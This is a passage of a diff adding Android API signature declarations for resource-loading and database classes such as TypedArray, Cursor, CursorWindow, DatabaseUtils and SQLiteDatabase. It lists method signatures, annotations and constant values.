+  public class TypedArray implements java.lang.AutoCloseable {
+    method public void close();
+    method public boolean getBoolean(@StyleableRes int, boolean);
+    method public int getChangingConfigurations();
+    method @ColorInt public int getColor(@StyleableRes int, @ColorInt int);
+    method @Nullable public android.content.res.ColorStateList getColorStateList(@StyleableRes int);
+    method public float getDimension(@StyleableRes int, float);
+    method public int getDimensionPixelOffset(@StyleableRes int, int);
+    method public int getDimensionPixelSize(@StyleableRes int, int);
+    method @Nullable public android.graphics.drawable.Drawable getDrawable(@StyleableRes int);
+    method public float getFloat(@StyleableRes int, float);
+    method @Nullable public android.graphics.Typeface getFont(@StyleableRes int);
+    method public float getFraction(@StyleableRes int, int, int, float);
+    method public int getIndex(int);
+    method public int getIndexCount();
+    method public int getInt(@StyleableRes int, int);
+    method public int getInteger(@StyleableRes int, int);
+    method public int getLayoutDimension(@StyleableRes int, String);
+    method public int getLayoutDimension(@StyleableRes int, int);
+    method public String getNonResourceString(@StyleableRes int);
+    method public String getPositionDescription();
+    method @AnyRes public int getResourceId(@StyleableRes int, int);
+    method public android.content.res.Resources getResources();
+    method @AnyRes public int getSourceResourceId(@StyleableRes int, @AnyRes int);
+    method @Nullable public String getString(@StyleableRes int);
+    method public CharSequence getText(@StyleableRes int);
+    method public CharSequence[] getTextArray(@StyleableRes int);
+    method public int getType(@StyleableRes int);
+    method public boolean getValue(@StyleableRes int, android.util.TypedValue);
+    method public boolean hasValue(@StyleableRes int);
+    method public boolean hasValueOrEmpty(@StyleableRes int);
+    method public int length();
+    method public android.util.TypedValue peekValue(@StyleableRes int);
+    method public void recycle();
+  }
+
+  public interface XmlResourceParser extends org.xmlpull.v1.XmlPullParser android.util.AttributeSet java.lang.AutoCloseable {
+    method public void close();
+  }
+
+}
+
+package android.content.res.loader {
+
+  public interface AssetsProvider {
+    method @Nullable public default android.content.res.AssetFileDescriptor loadAssetFd(@NonNull String, int);
+  }
+
+  public class ResourcesLoader {
+    ctor public ResourcesLoader();
+    method public void addProvider(@NonNull android.content.res.loader.ResourcesProvider);
+    method public void clearProviders();
+    method @NonNull public java.util.List<android.content.res.loader.ResourcesProvider> getProviders();
+    method public void removeProvider(@NonNull android.content.res.loader.ResourcesProvider);
+    method public void setProviders(@NonNull java.util.List<android.content.res.loader.ResourcesProvider>);
+  }
+
+  public class ResourcesProvider implements java.lang.AutoCloseable java.io.Closeable {
+    method public void close();
+    method @NonNull public static android.content.res.loader.ResourcesProvider empty(@NonNull android.content.res.loader.AssetsProvider);
+    method @NonNull public static android.content.res.loader.ResourcesProvider loadFromApk(@NonNull android.os.ParcelFileDescriptor) throws java.io.IOException;
+    method @NonNull public static android.content.res.loader.ResourcesProvider loadFromApk(@NonNull android.os.ParcelFileDescriptor, @Nullable android.content.res.loader.AssetsProvider) throws java.io.IOException;
+    method @NonNull public static android.content.res.loader.ResourcesProvider loadFromDirectory(@NonNull String, @Nullable android.content.res.loader.AssetsProvider) throws java.io.IOException;
+    method @NonNull public static android.content.res.loader.ResourcesProvider loadFromSplit(@NonNull android.content.Context, @NonNull String) throws java.io.IOException;
+    method @NonNull public static android.content.res.loader.ResourcesProvider loadFromTable(@NonNull android.os.ParcelFileDescriptor, @Nullable android.content.res.loader.AssetsProvider) throws java.io.IOException;
+  }
+
+}
+
+package android.database {
+
+  public abstract class AbstractCursor implements android.database.CrossProcessCursor {
+    ctor public AbstractCursor();
+    method protected void checkPosition();
+    method public void close();
+    method public void copyStringToBuffer(int, android.database.CharArrayBuffer);
+    method public void deactivate();
+    method public void fillWindow(int, android.database.CursorWindow);
+    method protected void finalize();
+    method public byte[] getBlob(int);
+    method public int getColumnCount();
+    method public int getColumnIndex(String);
+    method public int getColumnIndexOrThrow(String);
+    method public String getColumnName(int);
+    method public android.os.Bundle getExtras();
+    method public android.net.Uri getNotificationUri();
+    method public final int getPosition();
+    method public int getType(int);
+    method @Deprecated protected Object getUpdatedField(int);
+    method public boolean getWantsAllOnMoveCalls();
+    method public android.database.CursorWindow getWindow();
+    method public final boolean isAfterLast();
+    method public final boolean isBeforeFirst();
+    method public boolean isClosed();
+    method @Deprecated protected boolean isFieldUpdated(int);
+    method public final boolean isFirst();
+    method public final boolean isLast();
+    method public final boolean move(int);
+    method public final boolean moveToFirst();
+    method public final boolean moveToLast();
+    method public final boolean moveToNext();
+    method public final boolean moveToPosition(int);
+    method public final boolean moveToPrevious();
+    method protected void onChange(boolean);
+    method public boolean onMove(int, int);
+    method public void registerContentObserver(android.database.ContentObserver);
+    method public void registerDataSetObserver(android.database.DataSetObserver);
+    method public boolean requery();
+    method public android.os.Bundle respond(android.os.Bundle);
+    method public void setExtras(android.os.Bundle);
+    method public void setNotificationUri(android.content.ContentResolver, android.net.Uri);
+    method public void unregisterContentObserver(android.database.ContentObserver);
+    method public void unregisterDataSetObserver(android.database.DataSetObserver);
+    field @Deprecated protected boolean mClosed;
+    field @Deprecated protected android.content.ContentResolver mContentResolver;
+    field @Deprecated protected int mPos;
+  }
+
+  protected static class AbstractCursor.SelfContentObserver extends android.database.ContentObserver {
+    ctor public AbstractCursor.SelfContentObserver(android.database.AbstractCursor);
+  }
+
+  public abstract class AbstractWindowedCursor extends android.database.AbstractCursor {
+    ctor public AbstractWindowedCursor();
+    method public double getDouble(int);
+    method public float getFloat(int);
+    method public int getInt(int);
+    method public long getLong(int);
+    method public short getShort(int);
+    method public String getString(int);
+    method public boolean hasWindow();
+    method @Deprecated public boolean isBlob(int);
+    method @Deprecated public boolean isFloat(int);
+    method @Deprecated public boolean isLong(int);
+    method public boolean isNull(int);
+    method @Deprecated public boolean isString(int);
+    method public void setWindow(android.database.CursorWindow);
+    field protected android.database.CursorWindow mWindow;
+  }
+
+  public final class CharArrayBuffer {
+    ctor public CharArrayBuffer(int);
+    ctor public CharArrayBuffer(char[]);
+    field public char[] data;
+    field public int sizeCopied;
+  }
+
+  public class ContentObservable extends android.database.Observable<android.database.ContentObserver> {
+    ctor public ContentObservable();
+    method @Deprecated public void dispatchChange(boolean);
+    method public void dispatchChange(boolean, android.net.Uri);
+    method @Deprecated public void notifyChange(boolean);
+    method public void registerObserver(android.database.ContentObserver);
+  }
+
+  public abstract class ContentObserver {
+    ctor public ContentObserver(android.os.Handler);
+    method public boolean deliverSelfNotifications();
+    method @Deprecated public final void dispatchChange(boolean);
+    method public final void dispatchChange(boolean, @Nullable android.net.Uri);
+    method public final void dispatchChange(boolean, @Nullable android.net.Uri, int);
+    method public final void dispatchChange(boolean, @NonNull java.util.Collection<android.net.Uri>, int);
+    method public void onChange(boolean);
+    method public void onChange(boolean, @Nullable android.net.Uri);
+    method public void onChange(boolean, @Nullable android.net.Uri, int);
+    method public void onChange(boolean, @NonNull java.util.Collection<android.net.Uri>, int);
+  }
+
+  public interface CrossProcessCursor extends android.database.Cursor {
+    method public void fillWindow(int, android.database.CursorWindow);
+    method public android.database.CursorWindow getWindow();
+    method public boolean onMove(int, int);
+  }
+
+  public class CrossProcessCursorWrapper extends android.database.CursorWrapper implements android.database.CrossProcessCursor {
+    ctor public CrossProcessCursorWrapper(android.database.Cursor);
+    method public void fillWindow(int, android.database.CursorWindow);
+    method public android.database.CursorWindow getWindow();
+    method public boolean onMove(int, int);
+  }
+
+  public interface Cursor extends java.io.Closeable {
+    method public void close();
+    method public void copyStringToBuffer(@IntRange(from=0) int, android.database.CharArrayBuffer);
+    method @Deprecated public void deactivate();
+    method public byte[] getBlob(@IntRange(from=0) int);
+    method @IntRange(from=0) public int getColumnCount();
+    method @IntRange(from=0xffffffff) public int getColumnIndex(String);
+    method @IntRange(from=0) public int getColumnIndexOrThrow(String) throws java.lang.IllegalArgumentException;
+    method public String getColumnName(@IntRange(from=0) int);
+    method public String[] getColumnNames();
+    method @IntRange(from=0) public int getCount();
+    method public double getDouble(@IntRange(from=0) int);
+    method public android.os.Bundle getExtras();
+    method public float getFloat(@IntRange(from=0) int);
+    method public int getInt(@IntRange(from=0) int);
+    method public long getLong(@IntRange(from=0) int);
+    method public android.net.Uri getNotificationUri();
+    method @Nullable public default java.util.List<android.net.Uri> getNotificationUris();
+    method @IntRange(from=0xffffffff) public int getPosition();
+    method public short getShort(@IntRange(from=0) int);
+    method public String getString(@IntRange(from=0) int);
+    method public int getType(@IntRange(from=0) int);
+    method public boolean getWantsAllOnMoveCalls();
+    method public boolean isAfterLast();
+    method public boolean isBeforeFirst();
+    method public boolean isClosed();
+    method public boolean isFirst();
+    method public boolean isLast();
+    method public boolean isNull(@IntRange(from=0) int);
+    method public boolean move(int);
+    method public boolean moveToFirst();
+    method public boolean moveToLast();
+    method public boolean moveToNext();
+    method public boolean moveToPosition(@IntRange(from=0xffffffff) int);
+    method public boolean moveToPrevious();
+    method public void registerContentObserver(android.database.ContentObserver);
+    method public void registerDataSetObserver(android.database.DataSetObserver);
+    method @Deprecated public boolean requery();
+    method public android.os.Bundle respond(android.os.Bundle);
+    method public void setExtras(android.os.Bundle);
+    method public void setNotificationUri(android.content.ContentResolver, android.net.Uri);
+    method public default void setNotificationUris(@NonNull android.content.ContentResolver, @NonNull java.util.List<android.net.Uri>);
+    method public void unregisterContentObserver(android.database.ContentObserver);
+    method public void unregisterDataSetObserver(android.database.DataSetObserver);
+    field public static final int FIELD_TYPE_BLOB = 4; // 0x4
+    field public static final int FIELD_TYPE_FLOAT = 2; // 0x2
+    field public static final int FIELD_TYPE_INTEGER = 1; // 0x1
+    field public static final int FIELD_TYPE_NULL = 0; // 0x0
+    field public static final int FIELD_TYPE_STRING = 3; // 0x3
+  }
+
+  public class CursorIndexOutOfBoundsException extends java.lang.IndexOutOfBoundsException {
+    ctor public CursorIndexOutOfBoundsException(int, int);
+    ctor public CursorIndexOutOfBoundsException(String);
+  }
+
+  public final class CursorJoiner implements java.lang.Iterable<android.database.CursorJoiner.Result> java.util.Iterator<android.database.CursorJoiner.Result> {
+    ctor public CursorJoiner(android.database.Cursor, String[], android.database.Cursor, String[]);
+    method public boolean hasNext();
+    method public java.util.Iterator<android.database.CursorJoiner.Result> iterator();
+    method public android.database.CursorJoiner.Result next();
+  }
+
+  public enum CursorJoiner.Result {
+    enum_constant public static final android.database.CursorJoiner.Result BOTH;
+    enum_constant public static final android.database.CursorJoiner.Result LEFT;
+    enum_constant public static final android.database.CursorJoiner.Result RIGHT;
+  }
+
+  public class CursorWindow extends android.database.sqlite.SQLiteClosable implements android.os.Parcelable {
+    ctor public CursorWindow(String);
+    ctor public CursorWindow(String, long);
+    ctor @Deprecated public CursorWindow(boolean);
+    method public boolean allocRow();
+    method public void clear();
+    method public void copyStringToBuffer(@IntRange(from=0) int, @IntRange(from=0) int, android.database.CharArrayBuffer);
+    method public int describeContents();
+    method public void freeLastRow();
+    method public byte[] getBlob(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public double getDouble(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public float getFloat(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public int getInt(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public long getLong(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @IntRange(from=0) public int getNumRows();
+    method public short getShort(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @IntRange(from=0) public int getStartPosition();
+    method public String getString(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public int getType(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @Deprecated public boolean isBlob(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @Deprecated public boolean isFloat(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @Deprecated public boolean isLong(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @Deprecated public boolean isNull(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @Deprecated public boolean isString(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public static android.database.CursorWindow newFromParcel(android.os.Parcel);
+    method protected void onAllReferencesReleased();
+    method public boolean putBlob(byte[], @IntRange(from=0) int, @IntRange(from=0) int);
+    method public boolean putDouble(double, @IntRange(from=0) int, @IntRange(from=0) int);
+    method public boolean putLong(long, @IntRange(from=0) int, @IntRange(from=0) int);
+    method public boolean putNull(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public boolean putString(String, @IntRange(from=0) int, @IntRange(from=0) int);
+    method public boolean setNumColumns(@IntRange(from=0) int);
+    method public void setStartPosition(@IntRange(from=0) int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.database.CursorWindow> CREATOR;
+  }
+
+  public class CursorWrapper implements android.database.Cursor {
+    ctor public CursorWrapper(android.database.Cursor);
+    method public void close();
+    method public void copyStringToBuffer(int, android.database.CharArrayBuffer);
+    method @Deprecated public void deactivate();
+    method public byte[] getBlob(int);
+    method public int getColumnCount();
+    method public int getColumnIndex(String);
+    method public int getColumnIndexOrThrow(String) throws java.lang.IllegalArgumentException;
+    method public String getColumnName(int);
+    method public String[] getColumnNames();
+    method public int getCount();
+    method public double getDouble(int);
+    method public android.os.Bundle getExtras();
+    method public float getFloat(int);
+    method public int getInt(int);
+    method public long getLong(int);
+    method public android.net.Uri getNotificationUri();
+    method public int getPosition();
+    method public short getShort(int);
+    method public String getString(int);
+    method public int getType(int);
+    method public boolean getWantsAllOnMoveCalls();
+    method public android.database.Cursor getWrappedCursor();
+    method public boolean isAfterLast();
+    method public boolean isBeforeFirst();
+    method public boolean isClosed();
+    method public boolean isFirst();
+    method public boolean isLast();
+    method public boolean isNull(int);
+    method public boolean move(int);
+    method public boolean moveToFirst();
+    method public boolean moveToLast();
+    method public boolean moveToNext();
+    method public boolean moveToPosition(int);
+    method public boolean moveToPrevious();
+    method public void registerContentObserver(android.database.ContentObserver);
+    method public void registerDataSetObserver(android.database.DataSetObserver);
+    method @Deprecated public boolean requery();
+    method public android.os.Bundle respond(android.os.Bundle);
+    method public void setExtras(android.os.Bundle);
+    method public void setNotificationUri(android.content.ContentResolver, android.net.Uri);
+    method public void unregisterContentObserver(android.database.ContentObserver);
+    method public void unregisterDataSetObserver(android.database.DataSetObserver);
+  }
+
+  public class DataSetObservable extends android.database.Observable<android.database.DataSetObserver> {
+    ctor public DataSetObservable();
+    method public void notifyChanged();
+    method public void notifyInvalidated();
+  }
+
+  public abstract class DataSetObserver {
+    ctor public DataSetObserver();
+    method public void onChanged();
+    method public void onInvalidated();
+  }
+
+  public interface DatabaseErrorHandler {
+    method public void onCorruption(android.database.sqlite.SQLiteDatabase);
+  }
+
+  public class DatabaseUtils {
+    ctor public DatabaseUtils();
+    method public static void appendEscapedSQLString(StringBuilder, String);
+    method public static String[] appendSelectionArgs(String[], String[]);
+    method public static final void appendValueToSql(StringBuilder, Object);
+    method public static void bindObjectToProgram(android.database.sqlite.SQLiteProgram, int, Object);
+    method public static android.os.ParcelFileDescriptor blobFileDescriptorForQuery(android.database.sqlite.SQLiteDatabase, String, String[]);
+    method public static android.os.ParcelFileDescriptor blobFileDescriptorForQuery(android.database.sqlite.SQLiteStatement, String[]);
+    method public static String concatenateWhere(String, String);
+    method public static void createDbFromSqlStatements(android.content.Context, String, int, String);
+    method public static void cursorDoubleToContentValues(android.database.Cursor, String, android.content.ContentValues, String);
+    method public static void cursorDoubleToContentValuesIfPresent(android.database.Cursor, android.content.ContentValues, String);
+    method public static void cursorDoubleToCursorValues(android.database.Cursor, String, android.content.ContentValues);
+    method public static void cursorFloatToContentValuesIfPresent(android.database.Cursor, android.content.ContentValues, String);
+    method public static void cursorIntToContentValues(android.database.Cursor, String, android.content.ContentValues);
+    method public static void cursorIntToContentValues(android.database.Cursor, String, android.content.ContentValues, String);
+    method public static void cursorIntToContentValuesIfPresent(android.database.Cursor, android.content.ContentValues, String);
+    method public static void cursorLongToContentValues(android.database.Cursor, String, android.content.ContentValues);
+    method public static void cursorLongToContentValues(android.database.Cursor, String, android.content.ContentValues, String);
+    method public static void cursorLongToContentValuesIfPresent(android.database.Cursor, android.content.ContentValues, String);
+    method public static void cursorRowToContentValues(android.database.Cursor, android.content.ContentValues);
+    method public static void cursorShortToContentValuesIfPresent(android.database.Cursor, android.content.ContentValues, String);
+    method public static void cursorStringToContentValues(android.database.Cursor, String, android.content.ContentValues);
+    method public static void cursorStringToContentValues(android.database.Cursor, String, android.content.ContentValues, String);
+    method public static void cursorStringToContentValuesIfPresent(android.database.Cursor, android.content.ContentValues, String);
+    method public static void cursorStringToInsertHelper(android.database.Cursor, String, android.database.DatabaseUtils.InsertHelper, int);
+    method public static void dumpCurrentRow(android.database.Cursor);
+    method public static void dumpCurrentRow(android.database.Cursor, java.io.PrintStream);
+    method public static void dumpCurrentRow(android.database.Cursor, StringBuilder);
+    method public static String dumpCurrentRowToString(android.database.Cursor);
+    method public static void dumpCursor(android.database.Cursor);
+    method public static void dumpCursor(android.database.Cursor, java.io.PrintStream);
+    method public static void dumpCursor(android.database.Cursor, StringBuilder);
+    method public static String dumpCursorToString(android.database.Cursor);
+    method public static String getCollationKey(String);
+    method public static String getHexCollationKey(String);
+    method public static int getSqlStatementType(String);
+    method public static long longForQuery(android.database.sqlite.SQLiteDatabase, String, String[]);
+    method public static long longForQuery(android.database.sqlite.SQLiteStatement, String[]);
+    method public static long queryNumEntries(android.database.sqlite.SQLiteDatabase, String);
+    method public static long queryNumEntries(android.database.sqlite.SQLiteDatabase, String, String);
+    method public static long queryNumEntries(android.database.sqlite.SQLiteDatabase, String, String, String[]);
+    method public static final void readExceptionFromParcel(android.os.Parcel);
+    method public static void readExceptionWithFileNotFoundExceptionFromParcel(android.os.Parcel) throws java.io.FileNotFoundException;
+    method public static void readExceptionWithOperationApplicationExceptionFromParcel(android.os.Parcel) throws android.content.OperationApplicationException;
+    method public static String sqlEscapeString(String);
+    method public static String stringForQuery(android.database.sqlite.SQLiteDatabase, String, String[]);
+    method public static String stringForQuery(android.database.sqlite.SQLiteStatement, String[]);
+    method public static final void writeExceptionToParcel(android.os.Parcel, Exception);
+    field public static final int STATEMENT_ABORT = 6; // 0x6
+    field public static final int STATEMENT_ATTACH = 3; // 0x3
+    field public static final int STATEMENT_BEGIN = 4; // 0x4
+    field public static final int STATEMENT_COMMIT = 5; // 0x5
+    field public static final int STATEMENT_DDL = 8; // 0x8
+    field public static final int STATEMENT_OTHER = 99; // 0x63
+    field public static final int STATEMENT_PRAGMA = 7; // 0x7
+    field public static final int STATEMENT_SELECT = 1; // 0x1
+    field public static final int STATEMENT_UNPREPARED = 9; // 0x9
+    field public static final int STATEMENT_UPDATE = 2; // 0x2
+  }
+
+  @Deprecated public static class DatabaseUtils.InsertHelper {
+    ctor @Deprecated public DatabaseUtils.InsertHelper(android.database.sqlite.SQLiteDatabase, String);
+    method @Deprecated public void bind(int, double);
+    method @Deprecated public void bind(int, float);
+    method @Deprecated public void bind(int, long);
+    method @Deprecated public void bind(int, int);
+    method @Deprecated public void bind(int, boolean);
+    method @Deprecated public void bind(int, byte[]);
+    method @Deprecated public void bind(int, String);
+    method @Deprecated public void bindNull(int);
+    method @Deprecated public void close();
+    method @Deprecated public long execute();
+    method @Deprecated public int getColumnIndex(String);
+    method @Deprecated public long insert(android.content.ContentValues);
+    method @Deprecated public void prepareForInsert();
+    method @Deprecated public void prepareForReplace();
+    method @Deprecated public long replace(android.content.ContentValues);
+  }
+
+  public final class DefaultDatabaseErrorHandler implements android.database.DatabaseErrorHandler {
+    ctor public DefaultDatabaseErrorHandler();
+    method public void onCorruption(android.database.sqlite.SQLiteDatabase);
+  }
+
+  public class MatrixCursor extends android.database.AbstractCursor {
+    ctor public MatrixCursor(String[], int);
+    ctor public MatrixCursor(String[]);
+    method public void addRow(Object[]);
+    method public void addRow(Iterable<?>);
+    method public String[] getColumnNames();
+    method public int getCount();
+    method public double getDouble(int);
+    method public float getFloat(int);
+    method public int getInt(int);
+    method public long getLong(int);
+    method public short getShort(int);
+    method public String getString(int);
+    method public boolean isNull(int);
+    method public android.database.MatrixCursor.RowBuilder newRow();
+  }
+
+  public class MatrixCursor.RowBuilder {
+    method public android.database.MatrixCursor.RowBuilder add(Object);
+    method public android.database.MatrixCursor.RowBuilder add(String, Object);
+  }
+
+  public class MergeCursor extends android.database.AbstractCursor {
+    ctor public MergeCursor(android.database.Cursor[]);
+    method public String[] getColumnNames();
+    method public int getCount();
+    method public double getDouble(int);
+    method public float getFloat(int);
+    method public int getInt(int);
+    method public long getLong(int);
+    method public short getShort(int);
+    method public String getString(int);
+    method public boolean isNull(int);
+  }
+
+  public abstract class Observable<T> {
+    ctor public Observable();
+    method public void registerObserver(T);
+    method public void unregisterAll();
+    method public void unregisterObserver(T);
+    field protected final java.util.ArrayList<T> mObservers;
+  }
+
+  public class SQLException extends java.lang.RuntimeException {
+    ctor public SQLException();
+    ctor public SQLException(String);
+    ctor public SQLException(String, Throwable);
+  }
+
+  public class StaleDataException extends java.lang.RuntimeException {
+    ctor public StaleDataException();
+    ctor public StaleDataException(String);
+  }
+
+}
+
+package android.database.sqlite {
+
+  public class SQLiteAbortException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteAbortException();
+    ctor public SQLiteAbortException(String);
+  }
+
+  public class SQLiteAccessPermException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteAccessPermException();
+    ctor public SQLiteAccessPermException(String);
+  }
+
+  public class SQLiteBindOrColumnIndexOutOfRangeException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteBindOrColumnIndexOutOfRangeException();
+    ctor public SQLiteBindOrColumnIndexOutOfRangeException(String);
+  }
+
+  public class SQLiteBlobTooBigException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteBlobTooBigException();
+    ctor public SQLiteBlobTooBigException(String);
+  }
+
+  public class SQLiteCantOpenDatabaseException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteCantOpenDatabaseException();
+    ctor public SQLiteCantOpenDatabaseException(String);
+  }
+
+  public abstract class SQLiteClosable implements java.io.Closeable {
+    ctor public SQLiteClosable();
+    method public void acquireReference();
+    method public void close();
+    method protected abstract void onAllReferencesReleased();
+    method @Deprecated protected void onAllReferencesReleasedFromContainer();
+    method public void releaseReference();
+    method @Deprecated public void releaseReferenceFromContainer();
+  }
+
+  public class SQLiteConstraintException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteConstraintException();
+    ctor public SQLiteConstraintException(String);
+  }
+
+  public class SQLiteCursor extends android.database.AbstractWindowedCursor {
+    ctor @Deprecated public SQLiteCursor(android.database.sqlite.SQLiteDatabase, android.database.sqlite.SQLiteCursorDriver, String, android.database.sqlite.SQLiteQuery);
+    ctor public SQLiteCursor(android.database.sqlite.SQLiteCursorDriver, String, android.database.sqlite.SQLiteQuery);
+    method public String[] getColumnNames();
+    method public int getCount();
+    method public android.database.sqlite.SQLiteDatabase getDatabase();
+    method public void setFillWindowForwardOnly(boolean);
+    method public void setSelectionArguments(String[]);
+  }
+
+  public interface SQLiteCursorDriver {
+    method public void cursorClosed();
+    method public void cursorDeactivated();
+    method public void cursorRequeried(android.database.Cursor);
+    method public android.database.Cursor query(android.database.sqlite.SQLiteDatabase.CursorFactory, String[]);
+    method public void setBindArguments(String[]);
+  }
+
+  public final class SQLiteDatabase extends android.database.sqlite.SQLiteClosable {
+    method public void beginTransaction();
+    method public void beginTransactionNonExclusive();
+    method public void beginTransactionWithListener(android.database.sqlite.SQLiteTransactionListener);
+    method public void beginTransactionWithListenerNonExclusive(android.database.sqlite.SQLiteTransactionListener);
+    method public android.database.sqlite.SQLiteStatement compileStatement(String) throws android.database.SQLException;
+    method @NonNull public static android.database.sqlite.SQLiteDatabase create(@Nullable android.database.sqlite.SQLiteDatabase.CursorFactory);
+    method @NonNull public static android.database.sqlite.SQLiteDatabase createInMemory(@NonNull android.database.sqlite.SQLiteDatabase.OpenParams);
+    method public int delete(String, String, String[]);
+    method public static boolean deleteDatabase(@NonNull java.io.File);
+    method public void disableWriteAheadLogging();
+    method public boolean enableWriteAheadLogging();
+    method public void endTransaction();
+    method public void execPerConnectionSQL(@NonNull String, @Nullable Object[]) throws android.database.SQLException;
+    method public void execSQL(String) throws android.database.SQLException;
+    method public void execSQL(String, Object[]) throws android.database.SQLException;
+    method public static String findEditTable(String);
+    method public java.util.List<android.util.Pair<java.lang.String,java.lang.String>> getAttachedDbs();
+    method public long getMaximumSize();
+    method public long getPageSize();
+    method public String getPath();
+    method @Deprecated public java.util.Map<java.lang.String,java.lang.String> getSyncedTables();
+    method public int getVersion();
+    method public boolean inTransaction();
+    method public long insert(String, String, android.content.ContentValues);
+    method public long insertOrThrow(String, String, android.content.ContentValues) throws android.database.SQLException;
+    method public long insertWithOnConflict(String, String, android.content.ContentValues, int);
+    method public boolean isDatabaseIntegrityOk();
+    method public boolean isDbLockedByCurrentThread();
+    method @Deprecated public boolean isDbLockedByOtherThreads();
+    method public boolean isOpen();
+    method public boolean isReadOnly();
+    method public boolean isWriteAheadLoggingEnabled();
+    method @Deprecated public void markTableSyncable(String, String);
+    method @Deprecated public void markTableSyncable(String, String, String);
+    method public boolean needUpgrade(int);
+    method protected void onAllReferencesReleased();
+    method public static android.database.sqlite.SQLiteDatabase openDatabase(@NonNull String, @Nullable android.database.sqlite.SQLiteDatabase.CursorFactory, int);
+    method public static android.database.sqlite.SQLiteDatabase openDatabase(@NonNull java.io.File, @NonNull android.database.sqlite.SQLiteDatabase.OpenParams);
+    method public static android.database.sqlite.SQLiteDatabase openDatabase(@NonNull String, @Nullable android.database.sqlite.SQLiteDatabase.CursorFactory, int, @Nullable android.database.DatabaseErrorHandler);
+    method public static android.database.sqlite.SQLiteDatabase openOrCreateDatabase(@NonNull java.io.File, @Nullable android.database.sqlite.SQLiteDatabase.CursorFactory);
+    method public static android.database.sqlite.SQLiteDatabase openOrCreateDatabase(@NonNull String, @Nullable android.database.sqlite.SQLiteDatabase.CursorFactory);
+    method public static android.database.sqlite.SQLiteDatabase openOrCreateDatabase(@NonNull String, @Nullable android.database.sqlite.SQLiteDatabase.CursorFactory, @Nullable android.database.DatabaseErrorHandler);
+    method public android.database.Cursor query(boolean, String, String[], String, String[], String, String, String, String);
+    method public android.database.Cursor query(boolean, String, String[], String, String[], String, String, String, String, android.os.CancellationSignal);
+    method public android.database.Cursor query(String, String[], String, String[], String, String, String);
+    method public android.database.Cursor query(String, String[], String, String[], String, String, String, String);
+    method public android.database.Cursor queryWithFactory(android.database.sqlite.SQLiteDatabase.CursorFactory, boolean, String, String[], String, String[], String, String, String, String);
+    method public android.database.Cursor queryWithFactory(android.database.sqlite.SQLiteDatabase.CursorFactory, boolean, String, String[], String, String[], String, String, String, String, android.os.CancellationSignal);
+    method public android.database.Cursor rawQuery(String, String[]);
+    method public android.database.Cursor rawQuery(String, String[], android.os.CancellationSignal);
+    method public android.database.Cursor rawQueryWithFactory(android.database.sqlite.SQLiteDatabase.CursorFactory, String, String[], String);
+    method public android.database.Cursor rawQueryWithFactory(android.database.sqlite.SQLiteDatabase.CursorFactory, String, String[], String, android.os.CancellationSignal);
+    method public static int releaseMemory();
+    method public long replace(String, String, android.content.ContentValues);
+    method public long replaceOrThrow(String, String, android.content.ContentValues) throws android.database.SQLException;
+    method public void setCustomAggregateFunction(@NonNull String, @NonNull java.util.function.BinaryOperator<java.lang.String>) throws android.database.sqlite.SQLiteException;
+    method public void setCustomScalarFunction(@NonNull String, @NonNull java.util.function.UnaryOperator<java.lang.String>) throws android.database.sqlite.SQLiteException;
+    method public void setForeignKeyConstraintsEnabled(boolean);
+    method public void setLocale(java.util.Locale);
+    method @Deprecated public void setLockingEnabled(boolean);
+    method public void setMaxSqlCacheSize(int);
+    method public long setMaximumSize(long);
+    method public void setPageSize(long);
+    method public void setTransactionSuccessful();
+    method public void setVersion(int);
+    method public int update(String, android.content.ContentValues, String, String[]);
+    method public int updateWithOnConflict(String, android.content.ContentValues, String, String[], int);
+    method public void validateSql(@NonNull String, @Nullable android.os.CancellationSignal);
+    method @Deprecated public boolean yieldIfContended();
+    method public boolean yieldIfContendedSafely();
+    method public boolean yieldIfContendedSafely(long);
+    field public static final int CONFLICT_ABORT = 2; // 0x2
+    field public static final int CONFLICT_FAIL = 3; // 0x3
+    field public static final int CONFLICT_IGNORE = 4; // 0x4
+    field public static final int CONFLICT_NONE = 0; // 0x0
+    field public static final int CONFLICT_REPLACE = 5; // 0x5
+    field public static final int CONFLICT_ROLLBACK = 1; // 0x1
+    field public static final int CREATE_IF_NECESSARY = 268435456; // 0x10000000
+    field public static final int ENABLE_WRITE_AHEAD_LOGGING = 536870912; // 0x20000000
+    field public static final int MAX_SQL_CACHE_SIZE = 100; // 0x64
+    field public static final int NO_LOCALIZED_COLLATORS = 16; // 0x10
+    field public static final int OPEN_READONLY = 1; // 0x1
+    field public static final int OPEN_READWRITE = 0; // 0x0
+    field public static final int SQLITE_MAX_LIKE_PATTERN_LENGTH = 50000; // 0xc350
+  }
+
+  public static interface SQLiteDatabase.CursorFactory {
+    method public android.database.Cursor newCursor(android.database.sqlite.SQLiteDatabase, android.database.sqlite.SQLiteCursorDriver, String, android.database.sqlite.SQLiteQuery);
+  }
+
+  public static final class SQLiteDatabase.OpenParams {
+    method @Nullable public android.database.sqlite.SQLiteDatabase.CursorFactory getCursorFactory();
+    method @Nullable public android.database.DatabaseErrorHandler getErrorHandler();
+    method public long getIdleConnectionTimeout();
+    method @Nullable public String getJournalMode();
+    method @IntRange(from=0xffffffff) public int getLookasideSlotCount();
+    method @IntRange(from=0xffffffff) public int getLookasideSlotSize();
+    method public int getOpenFlags();
+    method @Nullable public String getSynchronousMode();
+  }
+
+  public static final class SQLiteDatabase.OpenParams.Builder {
+    ctor public SQLiteDatabase.OpenParams.Builder();
+    ctor public SQLiteDatabase.OpenParams.Builder(android.database.sqlite.SQLiteDatabase.OpenParams);
